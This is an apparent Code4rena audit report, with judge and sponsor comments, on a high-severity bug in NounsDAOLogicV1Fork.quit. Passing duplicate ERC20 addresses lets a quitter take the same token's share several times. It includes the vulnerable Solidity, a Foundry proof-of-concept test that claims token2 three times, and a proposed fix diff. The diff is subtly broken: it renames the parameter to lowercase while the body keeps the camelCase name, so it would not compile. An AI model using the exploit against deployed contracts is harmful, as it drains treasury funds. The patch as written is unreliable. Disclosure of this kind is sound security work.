Platform: Code4rena
Start Date: 03/07/2023
Pot Size: $100,000 USDC
Total HM: 4
Participants: 36
Period: 10 days
Judge: gzeon
Total Solo HM: 3
Id: 257
League: ETH
Rank: 3/36
Findings: 1
Award: $5,196.93
🌟 Selected for report: 1
🚀 Solo Findings: 0
5196.9266 USDC - $5,196.93
Calling NounsDAOLogicV1Fork.quit by using dupliated ERC20 tokens, malicious user can gain more ERC20 tokens than he/she is supposed to, even drain all ERC20 tokens
In function, NounsDAOLogicV1Fork.quit, erc20TokensToInclude
is used to specified tokens a user wants to get, but since the function doesn't verify if erc20TokensToInclude
contains dupliated tokens, it's possible that a malicious user calls the function by specify the ERC20 more than once to get more share tokens
function quit(uint256[] calldata tokenIds, address[] memory erc20TokensToInclude) external nonReentrant { // check that erc20TokensToInclude is a subset of `erc20TokensToIncludeInQuit` address[] memory erc20TokensToIncludeInQuit_ = erc20TokensToIncludeInQuit; for (uint256 i = 0; i < erc20TokensToInclude.length; i++) { if (!isAddressIn(erc20TokensToInclude[i], erc20TokensToIncludeInQuit_)) { revert TokensMustBeASubsetOfWhitelistedTokens(); } } quitInternal(tokenIds, erc20TokensToInclude); } function quitInternal(uint256[] calldata tokenIds, address[] memory erc20TokensToInclude) internal { checkGovernanceActive(); uint256 totalSupply = adjustedTotalSupply(); for (uint256 i = 0; i < tokenIds.length; i++) { nouns.transferFrom(msg.sender, address(timelock), tokenIds[i]); } uint256[] memory balancesToSend = new uint256[](erc20TokensToInclude.length); // Capture balances to send before actually sending them, to avoid the risk of external calls changing balances. uint256 ethToSend = (address(timelock).balance * tokenIds.length) / totalSupply; for (uint256 i = 0; i < erc20TokensToInclude.length; i++) { IERC20 erc20token = IERC20(erc20TokensToInclude[i]); balancesToSend[i] = (erc20token.balanceOf(address(timelock)) * tokenIds.length) / totalSupply; } // Send ETH and ERC20 tokens timelock.sendETH(payable(msg.sender), ethToSend); for (uint256 i = 0; i < erc20TokensToInclude.length; i++) { if (balancesToSend[i] > 0) { timelock.sendERC20(msg.sender, erc20TokensToInclude[i], balancesToSend[i]); } } emit Quit(msg.sender, tokenIds); }
Add the following code in test/foundry/governance/fork/NounsDAOLogicV1Fork.t.sol file NounsDAOLogicV1Fork_Quit_Test
contract,
and run forge test --ffi --mt test_quit_allowsChoosingErc20TokensToIncludeTwice
function test_quit_allowsChoosingErc20TokensToIncludeTwice() public { vm.prank(quitter); address[] memory tokensToInclude = new address[](3); //**************************** // specify token2 three times //**************************** tokensToInclude[0] = address(token2); tokensToInclude[1] = address(token2); tokensToInclude[2] = address(token2); dao.quit(quitterTokens, tokensToInclude); assertEq(quitter.balance, 24 ether); assertEq(token1.balanceOf(quitter), 0); //**************************** // get 3 time tokens //**************************** assertEq(token2.balanceOf(quitter), 3 * (TOKEN2_BALANCE * 2) / 10); }
VS
By using function checkForDuplicates
to prevent the issue
--- NounsDAOLogicV1Fork.sol 2023-07-12 21:32:56.925848531 +0800 +++ NounsDAOLogicV1ForkNew.sol 2023-07-12 21:32:34.006158294 +0800 @@ -203,8 +203,9 @@ quitInternal(tokenIds, erc20TokensToIncludeInQuit); } - function quit(uint256[] calldata tokenIds, address[] memory erc20TokensToInclude) external nonReentrant { + function quit(uint256[] calldata tokenIds, address[] memory erc20tokenstoinclude) external nonReentrant { // check that erc20TokensToInclude is a subset of `erc20TokensToIncludeInQuit` + checkForDuplicates(erc20tokenstoinclude); address[] memory erc20TokensToIncludeInQuit_ = erc20TokensToIncludeInQuit; for (uint256 i = 0; i < erc20TokensToInclude.length; i++) { if (!isAddressIn(erc20TokensToInclude[i], erc20TokensToIncludeInQuit_)) {
Other
#0 - 0xSorryNotSorry
2023-07-19T23:33:37Z
The issue is well demonstrated, properly formatted, contains a coded POC. Marking as HQ.
#1 - c4-pre-sort
2023-07-19T23:33:40Z
0xSorryNotSorry marked the issue as high quality report
#2 - c4-pre-sort
2023-07-20T12:12:29Z
0xSorryNotSorry marked the issue as primary issue
#3 - c4-sponsor
2023-07-20T20:49:05Z
eladmallel marked the issue as sponsor confirmed
#4 - eladmallel
2023-07-20T20:49:10Z
#5 - c4-judge
2023-07-24T09:06:24Z
gzeon-c4 marked the issue as satisfactory
#6 - c4-judge
2023-07-24T09:09:47Z
gzeon-c4 marked the issue as selected for report
#7 - c4-judge
2023-07-24T09:09:56Z
gzeon-c4 changed the severity to 3 (High Risk)